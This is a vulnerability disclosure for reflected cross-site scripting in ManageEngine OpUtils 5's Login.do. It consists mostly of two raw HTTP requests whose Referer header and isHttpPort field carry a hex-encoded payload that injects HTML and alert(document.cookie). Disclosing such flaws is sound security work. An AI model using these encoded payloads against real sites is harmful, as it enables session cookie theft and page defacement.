ManageEngine OpUtils 5 Login.DO Cross Site Scripting

` ================================================================================  
  
ManageEngine OpUtils 5 "Login.DO" Multiple Cross Site Scripting Vulnerabilities  
================================================================================  
  
  
# code by Asheesh kumar Mani Tripathi  
  
# AKS IT Services  
  
# Credit by Asheesh Anaconda  
  
  
#Download http://www.manageengine.com/products/oputils  
  
#Vulnerbility  
ManageEngine OpUtils 5 is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.  
  
#Impact  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.   
  
  
Example:1  
  
========================================================================================================================  
  
Request  
========================================================================================================================  
POST /Login.do HTTP/1.1  
Host: localhost:7080  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Proxy-Connection: keep-alive  
Referer: http://localhost:7080/Login.do%22%3e%3c%62%6f%64%79%3e%3c%68%31%3e%3c%70%3e%3c%61%20%25%36%38%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%73%68%65%65%73%68%32%30%30%30%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d%22%3e%61%6e%61%63%6f%6e%64%61%25%36%45%20%57%61%73%20%48%65%72%65%20%21%21%21%3c%2f%68%31%3e%3c%25%32%46%62%72%3e%58%53%53%20%21%21%21%21%3c%2f%70%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%25%36%45%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%25%32%46%62%6f%64%79%3e  
Cookie: JSESSIONID=738A4E8130CBE2A0D5E857D9EBF9820E; 32=temp; 83=temp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 116  
  
cookieexists=true&username=asheesh&password=asheesh&logonsubmit=+&log=WARNING&locationUrl=localhost&isHttpPort=false  
  
  
  
========================================================================================================================  
Response  
========================================================================================================================  
  
  
  
HTTP/1.1 200 OK  
Content-Type: text/html;charset=ISO-8859-1  
Date: Wed, 03 Feb 2010 15:47:19 GMT  
Server: Apache-Coyote/1.1  
Content-Length: 20583  
  
  
  
  
Example 2:  
  
  
========================================================================================================================  
Request   
========================================================================================================================  
  
  
POST /Login.do HTTP/1.1  
Host: localhost:7080  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Proxy-Connection: keep-alive  
Referer: http://localhost:7080/Login.do%22%3e%3c%62%6f%64%79%3e%3c%68%31%3e%3c%70%3e%3c%61%20%25%36%38%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%73%68%65%65%73%68%32%30%30%30%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d%22%3e%61%6e%61%63%6f%6e%64%61%25%36%45%20%57%61%73%20%48%65%72%65%20%21%21%21%3c%2f%68%31%3e%3c%25%32%46%62%72%3e%58%53%53%20%21%21%21%21%3c%2f%70%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%25%36%45%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%25%32%46%62%6f%64%79%3e  
Cookie: JSESSIONID=738A4E8130CBE2A0D5E857D9EBF9820E; 32=temp; 83=temp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 587  
  
cookieexists=true&username=asheesh&password=asheesh&logonsubmit=+&log=WARNING&locationUrl=localhost&isHttpPort=false%22%3e%3c%62%6f%64%79%3e%3c%68%31%3e%3c%70%3e%3c%61%20%25%36%38%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%73%68%65%65%73%68%32%30%30%30%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d%22%3e%61%6e%61%63%6f%6e%64%61%25%36%45%20%57%61%73%20%48%65%72%65%20%21%21%21%3c%2f%68%31%3e%3c%25%32%46%62%72%3e%58%53%53%20%21%21%21%21%3c%2f%70%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%25%36%45%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%25%32%46%62%6f%64%79%3e  
  
  
  
========================================================================================================================  
Response  
========================================================================================================================  
  
  
HTTP/1.1 200 OK  
Content-Type: text/html;charset=ISO-8859-1  
Date: Wed, 03 Feb 2010 15:48:20 GMT  
Server: Apache-Coyote/1.1  
Content-Length: 12436  
`